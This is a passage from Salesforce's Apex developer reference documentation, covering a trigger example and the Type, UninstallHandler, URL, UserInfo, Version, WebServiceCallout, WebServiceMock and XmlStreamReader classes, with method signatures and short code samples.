This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}

Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.

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Reference

Type Class

Namespace
System

Usage
Use the forName methods to retrieve the type of an Apex class, which can be a built-in or a user-defined class. Also, use the
newInstance method if you want to instantiate a Type that implements an interface and call its methods while letting someone
else, such as a subscriber of your package, provide the methods implementations.

Example: Instantiating a Type Based on Its Name

The following sample shows how to use the Type methods to instantiate a Type based on its name. A typical application of this scenario
is when a package subscriber provides a custom implementation of an interface that is part of an installed package. The package can
get the name of the class that implements the interface through a custom setting in the subscribers org. The package can then instantiate
the type that corresponds to this class name and invoke the methods that the subscriber implemented.
In this sample, Vehicle represents the interface that the VehicleImpl class implements. The last class contains the code sample
that invokes the methods implemented in VehicleImpl.
This is the Vehicle interface.
global interface Vehicle {
Long getMaxSpeed();
String getType();
}

This is the implementation of the Vehicle interface.

global class VehicleImpl implements Vehicle {
global Long getMaxSpeed() { return 100; }
global String getType() { return 'Sedan'; }
}

The method in this class gets the name of the class that implements the Vehicle interface through a custom setting value. It then
instantiates this class by getting the corresponding type and calling the newInstance method. Next, it invokes the methods
implemented in VehicleImpl. This sample requires that you create a public list custom setting named CustomImplementation
with a text field named className. Create one record for this custom setting with a data set name of Vehicle and a class name
value of VehicleImpl.
public class CustomerImplInvocationClass {
public static void invokeCustomImpl() {
// Get the class name from a custom setting.
// This class implements the Vehicle interface.
CustomImplementation__c cs = CustomImplementation__c.getInstance('Vehicle');
// Get the Type corresponding to the class name
Type t = Type.forName(cs.className__c);
// Instantiate the type.
// The type of the instantiated object
//
is the interface.
Vehicle v = (Vehicle)t.newInstance();

2483

Reference

Type Class

// Call the methods that have a custom implementation

System.debug('Max speed: ' + v.getMaxSpeed());
System.debug('Vehicle type: ' + v.getType());
}
}

Class Property
The class property returns the System.Type of the type it is called on. It is exposed on all Apex built-in types including primitive
data types and collections, sObject types, and user-defined classes. This property can be used instead of forName methods.
Call this property on the type name. For example:
System.Type t = Integer.class;

You can use this property for the second argument of JSON.deserialize, deserializeStrict,
JSONParser.readValueAs, and readValueAsStrict methods to get the type of the object to deserialize. For example:
Decimal n = (Decimal)JSON.deserialize('100.1', Decimal.class);

Type Methods
The following are methods for Type.
IN THIS SECTION:
equals(typeToCompare)
Returns true if the specified type is equal to the current type; otherwise, returns false.
forName(fullyQualifiedName)
Returns the type that corresponds to the specified fully qualified class name.
forName(namespace, name)
Returns the type that corresponds to the specified namespace and class name.
getName()
Returns the name of the current type.
hashCode()
Returns a hash code value for the current type.
newInstance()
Creates an instance of the current type and returns this new instance.
toString()
Returns a string representation of the current type, which is the type name.

equals(typeToCompare)
Returns true if the specified type is equal to the current type; otherwise, returns false.

2484

Reference

Type Class

Signature
public Boolean equals(Object typeToCompare)

Parameters
typeToCompare

Type: Object
The type to compare with the current type.

Return Value
Type: Boolean

Example
Type t1 = Account.class;
Type t2 = Type.forName('Account');
System.assert(t1.equals(t2));

forName(fullyQualifiedName)
Returns the type that corresponds to the specified fully qualified class name.

Signature
public static System.Type forName(String fullyQualifiedName)

Parameters
fullyQualifiedName

Type: String
The fully qualified name of the class to get the type of. The fully qualified class name contains the namespace name, for example,
MyNamespace.ClassName.

Return Value
Type: System.Type

Usage
Note:
This method returns null if called outside a managed package to get the type of a non-global class in a managed package.
This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version
27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
When called from an installed managed package to get the name of a local type in an organization with no defined namespace,
the forName(fullyQualifiedName) method returns null. Instead, use the forName(namespace, name)
method and specify an empty string or null for the namespace argument.

2485

Reference

Type Class

forName(namespace, name)
Returns the type that corresponds to the specified namespace and class name.

Signature
public static System.Type forName(String namespace, String name)

Parameters
namespace

Type: String
The namespace of the class. If the class doesn't have a namespace, set the namespace argument to null or an empty string.
name

Type: String
The name of the class.

Return Value
Type: System.Type

Usage
Note:
This method returns null if called outside a managed package to get the type of a non-global class in a managed package.
This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version
27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
Use this method instead of forName(fullyQualifiedName) if it will be called from a managed package installed
in an organization with no defined namespace. To get the name of a local type, set the namespace argument to an empty
string or null. For example, Type t = Type.forName('', 'ClassName');.

Example
This example shows how to get the type that corresponds to the ClassName class and the MyNamespace namespace.
Type myType =
Type.forName('MyNamespace', 'ClassName');

getName()
Returns the name of the current type.

Signature
public String getName()

Return Value
Type: String

2486

Reference

Type Class

Example
This example shows how to get a Types name. It first obtains a Type by calling forName, then calls getName on the Type object.
Type t =
Type.forName('MyClassName');
String typeName =
t.getName();
System.assertEquals('MyClassName',
typeName);

hashCode()
Returns a hash code value for the current type.

Signature
public Integer hashCode()

Return Value
Type: Integer

Usage
The returned hash code value corresponds to the type name hash code that String.hashCode returns.

newInstance()
Creates an instance of the current type and returns this new instance.

Signature
public Object newInstance()

Return Value
Type: Object

Usage
Because newInstance returns the generic object type, you should cast the return value to the type of the variable that will hold this
value.
This method enables you to instantiate a Type that implements an interface and call its methods while letting someone else provide
the methods implementation. For example, a package developer can provide an interface that a subscriber who installs the package
can implement. The code in the package calls the subscriber's implementation of the interface methods by instantiating the subscribers
Type.
Note: Calling this method on a type corresponding to a class that has a private no-argument constructor results in a
System.TypeException, as expected because the type cant be instantiated. For Apex saved using Salesforce API version
28.0 and earlier, this method returns an instance of the class instead.

2487

Reference

UninstallHandler Interface

Example
This example shows how to create an instance of a Type. It first gets a Type by calling forName with the name of a class (ShapeImpl),
then calls newInstance on this Type object. The newObj instance is declared with the interface type (Shape) that the ShapeImpl
class implements. The return value of the newInstance method is cast to the Shape type.
Type t =
Type.forName('ShapeImpl');
Shape newObj =
(Shape)t.newInstance();

toString()
Returns a string representation of the current type, which is the type name.

Signature
public String toString()

Return Value
Type: String

Usage
This method returns the same value as getName. String.valueOf and System.debug use this method to convert their
Type argument into a String.

Example
This example calls toString on the Type corresponding to a list of Integers.
Type t = List<Integer>.class;
String s = t.toString();
System.assertEquals('List<Integer>', s);

UninstallHandler Interface
Enables custom code to run after a managed package is uninstalled.

Namespace
System

Usage
App developers can implement this interface to specify Apex code that runs automatically after a subscriber uninstalls a managed
package. This makes it possible to perform cleanup and notification tasks based on details of the subscribers organization.

2488

Reference

UninstallHandler Interface

The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all operations
performed by the script will appear to be done by your package. You can access this user by using UserInfo. You will only see this user
at runtime, not while running tests.
If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the script are
emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the uninstall details will be
unavailable.
The uninstall script has the following restrictions. You cant use it to initiate batch, scheduled, and future jobs, to access Session IDs, or
to perform callouts.
The UninstallHandler interface has a single method called onUninstall, which specifies the actions to be performed on
uninstall.
global interface UninstallHandler {
void onUninstall(UninstallContext context)};

The onUninstall method takes a context object as its argument, which provides the following information.
The org ID of the organization in which the uninstall takes place.
The user ID of the user who initiated the uninstall.
The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented
by the system. The following definition of the UninstallContext interface shows the methods you can call on the context
argument.
global interface UninstallContext {
ID organizationId();
ID uninstallerId();
}

IN THIS SECTION:
UninstallHandler Methods
UninstallHandler Example Implementation

UninstallHandler Methods
The following are methods for UninstallHandler.
IN THIS SECTION:
onUninstall(context)
Specifies the actions to be performed on uninstall.

onUninstall(context)
Specifies the actions to be performed on uninstall.

Signature
public Void onUninstall(UninstallContext context)

2489

Reference

UninstallHandler Interface

Parameters
context

Type: UninstallContext

Return Value
Type: Void

UninstallHandler Example Implementation

Example of an Uninstall Script
The sample uninstall script below performs the following actions on package uninstall.
Inserts an entry in the feed describing which user did the uninstall and in which organization
Creates and sends an email message confirming the uninstall to that user
global class UninstallClass implements UninstallHandler {
global void onUninstall(UninstallContext ctx) {
FeedItem feedPost = new FeedItem();
feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;
User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('[email protected]');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
}

You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a class
that implements the UninstallHandler interface.
This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.
@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');
}

2490

Reference

URL Class

URL Class
Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.

Namespace
System

Usage
Use the methods of the System.URL class to create links to objects in your organization. Such objects can be files, images, logos, or
records that you want to include in external emails, in activities, or in Chatter posts. For example, you can create a link to a file uploaded
as an attachment to a Chatter post by concatenating the Salesforce base URL with the file ID, as shown in the following example:
// Get a file uploaded through Chatter.
ContentDocument doc = [SELECT Id FROM ContentDocument
WHERE Title = 'myfile'];
// Create a link to the file.
String fullFileURL = URL.getSalesforceBaseUrl().toExternalForm() +
'/' + doc.id;
system.debug(fullFileURL);

The following example creates a link to a Salesforce record. The full URL is created by concatenating the Salesforce base URL with the
record ID.
Account acct = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1];
String fullRecordURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + acct.Id;

Example
In this example, the base URL and the full request URL of the current Salesforce server instance are retrieved. Next, a URL pointing to a
specific account object is created. Finally, components of the base and full URL are obtained. This example prints out all the results to
the debug log output.
// Create a new account called Acme that we will create a link for later.
Account myAccount = new Account(Name='Acme');
insert myAccount;
// Get the base URL.
String sfdcBaseURL = URL.getSalesforceBaseUrl().toExternalForm();
System.debug('Base URL: ' + sfdcBaseURL );
// Get the URL for the current request.
String currentRequestURL = URL.getCurrentRequestUrl().toExternalForm();
System.debug('Current request URL: ' + currentRequestURL);
// Create the account URL from the base URL.
String accountURL = URL.getSalesforceBaseUrl().toExternalForm() +
'/' + myAccount.Id;
System.debug('URL of a particular account: ' + accountURL);

2491

Reference

URL Class

// Get some parts of the base URL.

System.debug('Host: ' + URL.getSalesforceBaseUrl().getHost());
System.debug('Protocol: ' + URL.getSalesforceBaseUrl().getProtocol());
// Get the query string of the current request.
System.debug('Query: ' + URL.getCurrentRequestUrl().getQuery());

IN THIS SECTION:
URL Constructors
URL Methods

URL Constructors
The following are constructors for URL.
IN THIS SECTION:
Url(spec)
Creates a new instance of the URL class using the specified string representation of the URL.
Url(context, spec)
Creates a new instance of the URL class by parsing the specified spec within the specified context.
Url(protocol, host, file)
Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified
protocol is used.
Url(protocol, host, port, file)
Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.

Url(spec)
Creates a new instance of the URL class using the specified string representation of the URL.

Signature
public Url(String spec)

Parameters
spec

Type: String
The string to parse as a URL.

Url(context, spec)
Creates a new instance of the URL class by parsing the specified spec within the specified context.

2492

Reference

URL Class

Signature
public Url(Url context, String spec)

Parameters
context

Type: URL on page 2491

The context in which to parse the specification.
spec

Type: String
The string to parse as a URL.

Usage
The new URL is created from the given context URL and the spec argument as described in RFC2396 "Uniform Resource Identifiers :
Generic * Syntax" :
<scheme>://<authority><path>?<query>#<fragment>

For more information about the arguments of this constructor, see the corresponding URL(java.net.URL, java.lang.String) constructor for
Java.

Url(protocol, host, file)

Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified protocol
is used.

Signature
public Url(String protocol, String host, String file)

Parameters
protocol

Type: String
The protocol name for this URL.
host

Type: String
The host name for this URL.
file

Type: String
The file name for this URL.

Url(protocol, host, port, file)

Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.

2493

Reference

URL Class

Signature
public Url(String protocol, String host, Integer port, String file)

Parameters
protocol

Type: String
The protocol name for this URL.
host

Type: String
The host name for this URL.
port

Type: Integer
The port number for this URL.
file

Type: String
The file name for this URL.

URL Methods
The following are methods for URL.
IN THIS SECTION:
getAuthority()
Returns the authority portion of the current URL.
getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.
getDefaultPort()
Returns the default port number of the protocol associated with the current URL.
getFile()
Returns the file name of the current URL.
getFileFieldURL(entityId, fieldName)
Returns the download URL for a file attachment.
getHost()
Returns the host name of the current URL.
getPath()
Returns the path portion of the current URL.
getPort()
Returns the port of the current URL.
getProtocol()
Returns the protocol name of the current URL, such as, https.

2494

Reference

URL Class

getQuery()
Returns the query portion of the current URL.
getRef()
Returns the anchor of the current URL.
getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.
getUserInfo()
Gets the UserInfo portion of the current URL.
sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.
toExternalForm()
Returns a string representation of the current URL.

getAuthority()
Returns the authority portion of the current URL.

Signature
public String getAuthority()

Return Value
Type: String

getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.

Signature
public static System.URL getCurrentRequestUrl()

Return Value
Type: System.URL

Usage
An example of a URL for an entire request is https://yourInstance.salesforce.com/apex/myVfPage.apexp.

getDefaultPort()
Returns the default port number of the protocol associated with the current URL.

Signature
public Integer getDefaultPort()

2495

Reference

URL Class

Return Value
Type: Integer

Usage
Returns -1 if the URL scheme or the stream protocol handler for the URL doesn't define a default port number.

getFile()
Returns the file name of the current URL.

Signature
public String getFile()

Return Value
Type: String

getFileFieldURL(entityId, fieldName)
Returns the download URL for a file attachment.

Signature
public static String getFileFieldURL(String entityId, String fieldName)

Parameters
entityId

Type: String
Specifies the ID of the entity that holds the file data.
fieldName

Type: String
Specifies the API name of a file field component, such as AttachmentBody.

Return Value
Type: String

Usage
Example:

Example
String fileURL =
URL.getFileFieldURL(

2496

Reference

URL Class

'087000000000123' ,
'AttachmentBody');

getHost()
Returns the host name of the current URL.

Signature
public String getHost()

Return Value
Type: String

getPath()
Returns the path portion of the current URL.

Signature
public String getPath()

Return Value
Type: String

getPort()
Returns the port of the current URL.

Signature
public Integer getPort()

Return Value
Type: Integer

getProtocol()
Returns the protocol name of the current URL, such as, https.

Signature
public String getProtocol()

Return Value
Type: String

2497

Reference

URL Class

getQuery()
Returns the query portion of the current URL.

Signature
public String getQuery()

Return Value
Type: String

Usage
Returns null if no query portion exists.

getRef()
Returns the anchor of the current URL.

Signature
public String getRef()

Return Value
Type: String

Usage
Returns null if no query portion exists.

getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.

Signature
public static System.URL getSalesforceBaseUrl()

Return Value
Type: System.URL

Usage
An example of an instance URL is https://yourInstance.salesforce.com/.

getUserInfo()
Gets the UserInfo portion of the current URL.

2498

Reference

UserInfo Class

Signature
public String getUserInfo()

Return Value
Type: String

Usage
Returns null if no UserInfo portion exists.

sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.

Signature
public Boolean sameFile(System.URL URLToCompare)

Parameters
URLToCompare

Type: System.URL

Return Value
Type: Boolean
Returns true if both URL objects reference the same remote resource; otherwise, returns false.

Usage
For more information about the syntax of URIs and fragment components, see RFC3986.

toExternalForm()
Returns a string representation of the current URL.

Signature
public String toExternalForm()

Return Value
Type: String

UserInfo Class
Contains methods for obtaining information about the context user.

2499

Reference

UserInfo Class

Namespace
System

UserInfo Methods
The following are methods for UserInfo. All methods are static.
IN THIS SECTION:
getDefaultCurrency()
Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single
currency organizations.
getFirstName()
Returns the context user's first name
getLanguage()
Returns the context user's language
getLastName()
Returns the context user's last name
getLocale()
Returns the context user's locale.
getName()
Returns the context user's full name. The format of the name depends on the language preferences specified for the organization.
getOrganizationId()
Returns the context organization's ID.
getOrganizationName()
Returns the context organization's company name.
getProfileId()
Returns the context user's profile ID.
getSessionId()
Returns the session ID for the current session.
getTimeZone()
Returns the current users local time zone.
getUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to
the current user.
getUiThemeDisplayed()
Returns the theme being displayed for the current user.
getUserEmail()
Returns the current users email address.
getUserId()
Returns the context user's ID

2500

Reference

UserInfo Class

getUserName()
Returns the context user's login name.
getUserRoleId()
Returns the context user's role ID.
getUserType()
Returns the context user's type.
isCurrentUserLicensed(namespace)
Returns true if the context user has a license to the managed package denoted by the namespace. Otherwise, returns false.
isMultiCurrencyOrganization()
Specifies whether the organization uses multiple currencies.

getDefaultCurrency()
Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single
currency organizations.

Signature
public static String getDefaultCurrency()

Return Value
Type: String

Usage
Note: For Apex saved using SalesforceAPI version 22.0 or earlier, getDefaultCurrency returns null for single currency
organizations.

getFirstName()
Returns the context user's first name

Signature
public static String getFirstName()

Return Value
Type: String

getLanguage()
Returns the context user's language

Signature
public static String getLanguage()

2501

Reference

UserInfo Class

Return Value
Type: String

getLastName()
Returns the context user's last name

Signature
public static String getLastName()

Return Value
Type: String

getLocale()
Returns the context user's locale.

Signature
public static String getLocale()

Return Value
Type: String

Example
String result = UserInfo.getLocale();
System.assertEquals('en_US', result);

getName()
Returns the context user's full name. The format of the name depends on the language preferences specified for the organization.

Signature
public static String getName()

Return Value
Type: String

Usage
The format is one of the following:
FirstName LastName
LastName, FirstName

2502

Reference

UserInfo Class

getOrganizationId()
Returns the context organization's ID.

Signature
public static String getOrganizationId()

Return Value
Type: String

getOrganizationName()
Returns the context organization's company name.

Signature
public static String getOrganizationName()

Return Value
Type: String

getProfileId()
Returns the context user's profile ID.

Signature
public static String getProfileId()

Return Value
Type: String

getSessionId()
Returns the session ID for the current session.

Signature
public static String getSessionId()

Return Value
Type: String

2503

Reference

UserInfo Class

Usage
For Apex code that is executed asynchronously, such as @future methods, Batch Apex jobs, or scheduled Apex jobs, getSessionId
returns null.
As a best practice, ensure that your code handles both cases when a session ID is or is not available.

getTimeZone()
Returns the current users local time zone.

Signature
public static System.TimeZone getTimeZone()

Return Value
Type: System.TimeZone

Example
TimeZone tz =
UserInfo.getTimeZone();
System.debug(
'Display name: ' +
tz.getDisplayName());
System.debug(
'ID: ' +
tz.getID());

getUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to the
current user.

Signature
public static String getUiTheme()

Return Value
Type: String
The preferred theme for the current user.
Valid values include:
Theme1Obsolete Salesforce theme
Theme2Salesforce Classic 2005 user interface theme
Theme3Salesforce Classic 2010 user interface theme
Theme4dModern Lightning Experience Salesforce theme
Theme4tSalesforce1 mobile Salesforce theme

2504

Reference

UserInfo Class

PortalDefaultSalesforce Customer Portal theme

WebstoreSalesforce AppExchange theme

getUiThemeDisplayed()
Returns the theme being displayed for the current user.

Signature
public static String getUiThemeDisplayed()

Return Value
Type: String
The theme being displayed for the current user
Valid values include:
Theme1Obsolete Salesforce theme
Theme2Salesforce Classic 2005 user interface theme
Theme3Salesforce Classic 2010 user interface theme
Theme4dModern Lightning Experience Salesforce theme
Theme4tSalesforce1 mobile Salesforce theme
PortalDefaultSalesforce Customer Portal theme
WebstoreSalesforce AppExchange theme

getUserEmail()
Returns the current users email address.

Signature
public static String getUserEmail()

Return Value
Type: String

Example
String emailAddress =
UserInfo.getUserEmail();
System.debug(
'Email address: ' +
emailAddress);

getUserId()
Returns the context user's ID

2505

Reference

UserInfo Class

Signature
public static String getUserId()

Return Value
Type: String

getUserName()
Returns the context user's login name.

Signature
public static String getUserName()

Return Value
Type: String

getUserRoleId()
Returns the context user's role ID.

Signature
public static String getUserRoleId()

Return Value
Type: String

getUserType()
Returns the context user's type.

Signature
public static String getUserType()

Return Value
Type: String

isCurrentUserLicensed(namespace)
Returns true if the context user has a license to the managed package denoted by the namespace. Otherwise, returns false.

Signature
public static Boolean isCurrentUserLicensed(String namespace)

2506

Reference

Version Class

Parameters
namespace

Type: String

Return Value
Type: Boolean

Usage
A TypeException is thrown if namespace is an invalid parameter.

isMultiCurrencyOrganization()
Specifies whether the organization uses multiple currencies.

Signature
public static Boolean isMultiCurrencyOrganization()

Return Value
Type: Boolean

Version Class
Use the Version methods to get the version of a managed package of a subscriber and to compare package versions.

Namespace
System

Usage
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
A called component can check the version against which the caller was compiled using the System.requestVersion method
and behave differently depending on the callers expectations. This allows you to continue to support existing behavior in classes and
triggers in previous package versions while continuing to evolve the code.
The value returned by the System.requestVersion method is an instance of this class with a two-part version number containing
a major and a minor number. Since the System.requestVersion method doesnt return a patch number, the patch number in
the returned Version object is null.
The System.Version class can also hold also a three-part version number that includes a patch number.

2507

Reference

Version Class

Example
This example shows how to use the methods in this class, along with the requestVersion method, to determine the managed
package version of the code that is calling your package.
if (System.requestVersion() == new Version(1,0))
{
// Do something
}
if ((System.requestVersion().major() == 1)
&& (System.requestVersion().minor() > 0)
&& (System.requestVersion().minor() <=9))
{
// Do something different for versions 1.1 to 1.9
}
else if (System.requestVersion().compareTo(new Version(2,0)) >= 0)
{
// Do something completely different for versions 2.0 or greater
}

IN THIS SECTION:
Version Constructors
Version Methods

Version Constructors
The following are constructors for Version.
IN THIS SECTION:
Version(major, minor)
Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.
Version(major, minor, patch)
Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version
numbers.

Version(major, minor)
Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.

Signature
public Version(Integer major, Integer minor)

Parameters
major

Type: Integer
The major version number.

2508

Reference

Version Class

minor

Type: Integer
The minor version number.

Version(major, minor, patch)

Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version
numbers.

Signature
public Version(Integer major, Integer minor, Integer patch)

Parameters
major

Type: Integer
The major version number.
minor

Type: Integer
The minor version number.
patch

Type: Integer
The patch version number.

Version Methods
The following are methods for Version. All are instance methods.
IN THIS SECTION:
compareTo(version)
Compares the current version with the specified version.
major()
Returns the major package version of the of the calling code.
minor()
Returns the minor package version of the calling code.
patch()
Returns the patch package version of the calling code or null if there is no patch version.

compareTo(version)
Compares the current version with the specified version.

2509

Reference

Version Class

Signature
public Integer compareTo(System.Version version)

Parameters
version

Type: System.Version

Return Value
Type: Integer
Returns one of the following values:
zero if the current package version is equal to the specified package version
an Integer value greater than zero if the current package version is greater than the specified package version
an Integer value less than zero if the current package version is less than the specified package version

Usage
If a two-part version is being compared to a three-part version, the patch number is ignored and the comparison is based only on the
major and minor numbers.

major()
Returns the major package version of the of the calling code.

Signature
public Integer major()

Return Value
Type: Integer

minor()
Returns the minor package version of the calling code.

Signature
public Integer minor()

Return Value
Type: Integer

patch()
Returns the patch package version of the calling code or null if there is no patch version.

2510

Reference

WebServiceCallout Class

Signature
public Integer patch()

Return Value
Type: Integer

WebServiceCallout Class
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated
from a WSDL.

Namespace
System
IN THIS SECTION:
WebServiceCallout Methods
SEE ALSO:
SOAP Services: Defining a Class from a WSDL Document

WebServiceCallout Methods
The following is the static method for WebServiceCallout.
IN THIS SECTION:
invoke(stub, request, response, infoArray)
Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

invoke(stub, request, response, infoArray)

Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

Signature
public static void invoke(Object stub, Object request, Map<String,Object> response,
List<String> infoArray)

Parameters
stub

Type: Object
An instance of the Apex class that is auto-generated from a WSDL (the stub class).
request

Type: Object

2511

Reference

WebServiceMock Interface

The request to the external service. The request is an instance of a type that is created as part of the auto-generated stub class.
response

Type: Map<String, Object>

A map of key-value pairs that represent the response that the external service sends after receiving the request. In each pair, the key
is a response identifier. The value is the response object, which is an instance of a type that is created as part of the auto-generated
stub class.
infoArray

Type: String[]
An array of strings that contains information about the calloutweb service endpoint, SOAP action, request, and response. The
order of the elements in the array matters.
Element at index 0 ([0]): One of the following options for identifying the URL of the external web service.
Endpoint URL. For example: 'http://YourServer/YourService'
Named credential URL, which contains the scheme callout, the name of the named credential, and optionally, an
appended path. For example: 'callout:MyNamedCredential/some/path'
Element at index 1 ([1]): The SOAP action. For example:
'urn:dotnet.callouttest.soap.sforce.com/EchoString'

Element at index 2 ([2]): The request namespace. For example: 'http://doc.sample.com/docSample'

Element at index 3 ([3]): The request name. For example: 'EchoString'
Element at index 4 ([4]): The response namespace. For example: 'http://doc.sample.com/docSample'
Element at index 5 ([5]): The response name. For example: 'EchoStringResponse'
Element at index 6 ([6]): The response type. For example: 'docSample.EchoStringResponse_element'

Return Value
Type: Void
SEE ALSO:
Named Credentials as Callout Endpoints

WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.

Namespace
System

Usage
For an implementation example, see Test Web Service Callouts on page 461.

WebServiceMock Methods
The following are methods for WebServiceMock.

2512

Reference

WebServiceMock Interface

IN THIS SECTION:
doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after
Test.setMock has been called.

doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName,

responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after
Test.setMock has been called.

Signature
public Void doInvoke(Object stub, Object soapRequest, Map<String,Object> responseMap,
String endpoint, String soapAction, String requestName, String responseNamespace, String
responseName, String responseType)

Parameters
stub

Type: Object
An instance of the auto-generated class.
soapRequest

Type: Object
The SOAP Web service request being invoked.
responseMap

Type: Map<String, Object>

A collection of key/value pairs representing the response to send for the request.
When implementing this interface, set the responseMap argument to a key/value pair representing the response desired.
endpoint

Type: String
The endpoint URL for the request.
soapAction

Type: String
The requested SOAP operation.
requestName

Type: String
The requested SOAP operation name.
responseNamespace

Type: String
The response namespace.
responseName

Type: String

2513

Reference

XmlStreamReader Class

The name of the response element as defined in the WSDL.

responseType

Type: String
The class for the response as defined in the auto-generated class.

Return Value
Type: Void

Usage

XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip
unwanted events. You can parse nested XML content thats up to 50 nodes deep.

Namespace
System

Usage
The XmlStreamReader class is similar to the XMLStreamReader utility class from StAX.
Note: The XmlStreamReader class in Apex is based on its counterpart in Java. See the Java XMLStreamReader
class.
IN THIS SECTION:
XmlStreamReader Constructors
XmlStreamReader Methods
SEE ALSO:
Reading XML Using Streams

XmlStreamReader Constructors
The following are constructors for XmlStreamReader.
IN THIS SECTION:
XmlStreamReader(xmlInput)
Creates a new instance of the XmlStreamReader class for the specified XML input.

XmlStreamReader(xmlInput)
Creates a new instance of the XmlStreamReader class for the specified XML input.

2514

Reference

XmlStreamReader Class

Signature
public XmlStreamReader(String xmlInput)

Parameters
xmlInput

Type: String
The XML string input.

XmlStreamReader Methods
The following are methods for XmlStreamReader. All are instance methods.
IN THIS SECTION:
getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.
getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.
getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.
getAttributePrefix(index)
Returns the prefix of this attribute at the specified index.
getAttributeType(index)
Returns the XML type of the attribute at the specified index.
getAttributeValue(namespaceUri, localName)
Returns the value of the attribute in the specified localName at the specified URI.
getAttributeValueAt(index)
Returns the value of the attribute at the specified index.
getEventType()
Returns the type of XML event the cursor is pointing to.
getLocalName()
Returns the local name of the current event.
getLocation()
Return the current location of the cursor.
getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.
getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.
getNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.
getNamespaceURI(prefix)
Return the URI for the given prefix.

2515

Reference

XmlStreamReader Class

getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.
getPIData()
Returns the data section of a processing instruction.
getPITarget()
